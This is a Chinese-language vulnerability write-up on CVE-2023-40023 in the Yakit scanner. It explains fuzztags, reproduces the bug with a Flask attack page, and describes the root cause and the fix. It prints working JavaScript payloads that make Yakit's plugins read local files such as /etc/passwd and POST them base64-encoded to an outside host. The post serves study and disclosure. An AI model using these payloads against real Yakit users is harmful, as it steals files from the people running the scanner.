漏洞简介
由Medi0cr1ty师傅发布在公众号的,通过在页面上嵌入一个js,这里的payload是读取文件,并以base64的方式发送出去
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://yakit.com/filesubmit");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(`file={{base64enc(file(/etc/passwd))}}`);
</script>
当yakit扫描到恶意网站之后,就会将yakit使用者机器上的 /etc/passwd文件base64编码后发送出去
yakit的fuzztag
yakit关于fuzz部分的文档 - https://yaklang.io/products/Web%20Fuzzer/repeat
看了一下文档之后觉得这部分是burpsuite的repeat和Intruder模块
另外序列场景感觉就是对存在时序的操作进行编排,比如说先登录再获取一个数据....
在介绍CVE-2023-40023原理之前需要先了解yakit里面的模糊测试标签 fuzztag
fuzztag是一种小型语法结构,它大概长这个样子:{{tagname(tagvalue)}},例如{{randint(1,100)}}生成1-100随机整数
可用标签列表文档在 - https://yaklang.io/docs/newforyak/fuzztag/
在文章开始的payload里面我们就是用到了base64enc 和 file标签
- base64enc 进行 base64 编码,{{base64enc(abc)}} => YWJj
- file 读取文件内容,可以支持多个文件,用竖线分割,{{file(/tmp/1.txt)}} 或 {{file(/tmp/1.txt|/tmp/test.txt)}}
漏洞复现
yakit漏洞环境搭建
yakit客户端目录在
C:\Users\用户\AppData\Local\Programs\yakit
引擎目录在
C:\Users\用户\yakit-projects
在yak-engine目录下可以看到引擎exe
我现在的是v1.3.0-sp6
根据漏洞报告 回退到存在漏洞的版本v1.2.4
下载之后替换本地的exe
可以看到yakit已经回退到漏洞版本了
攻击环境搭建
flask构造恶意的web站点
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
data = request.form.to_dict()
return data
else:
return 'Unsupported request method'
if __name__ == '__main__':
app.run(debug=True)
index.html内容为
<!DOCTYPE html>
<html>
<head>
<title>Attack Page</title>
</head>
<body>
<h1>Hello, this is a attack page!</h1>
</body>
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:5000");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
{% raw %}
xhr.send(`file={{base64enc(file(C://test))}}`);
{% endraw %}
</script>
</html>
读取本地文件
打开yakit的XSS插件,打开其他的插件也可以,当浏览器发出POST请求时会将请求流量镜像给插件, 插件中调用了fuzz库,导致渲染了请求中的fuzztag,将本机文件信息携带出去
访问我们的恶意网址 http://127.0.0.1:5000,可以看到已经将test文件的内容以base64编码的方式读取出来了
原理和修复
如果没有启动插件的话 是无法触发这个安全问题的,因为yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析,但是经过插件的时候会进行解析
MITM流量未解析fuzztag
插件解析fuzztag
原代码_httpPool函数里面会将所有的fuzztag进行解析,以file tag为例,在init的时候会被设置为全局
在这里会对新的请求fuzztag进行解析
所以作者修复这部分的时候,去掉了QuickMutateWithCallbackEx2方法,在配置里面添加了FuzzFileOptions
func FuzzFileOptions() []FuzzConfigOpt {
var opt []FuzzConfigOpt
for _, t := range Filetag() {
opt = append(opt, Fuzz_WithExtraFuzzTagHandler(t.TagName, t.Handler))
for _, a := range t.Alias {
opt = append(opt, Fuzz_WithExtraFuzzTagHandler(a, t.Handler))
}
}
return opt
}
通过限制config.ForceFuzzfile参数来防止对file tag进行解析
if config.ForceFuzzfile {
opts = append(opts, FuzzFileOptions()...)
}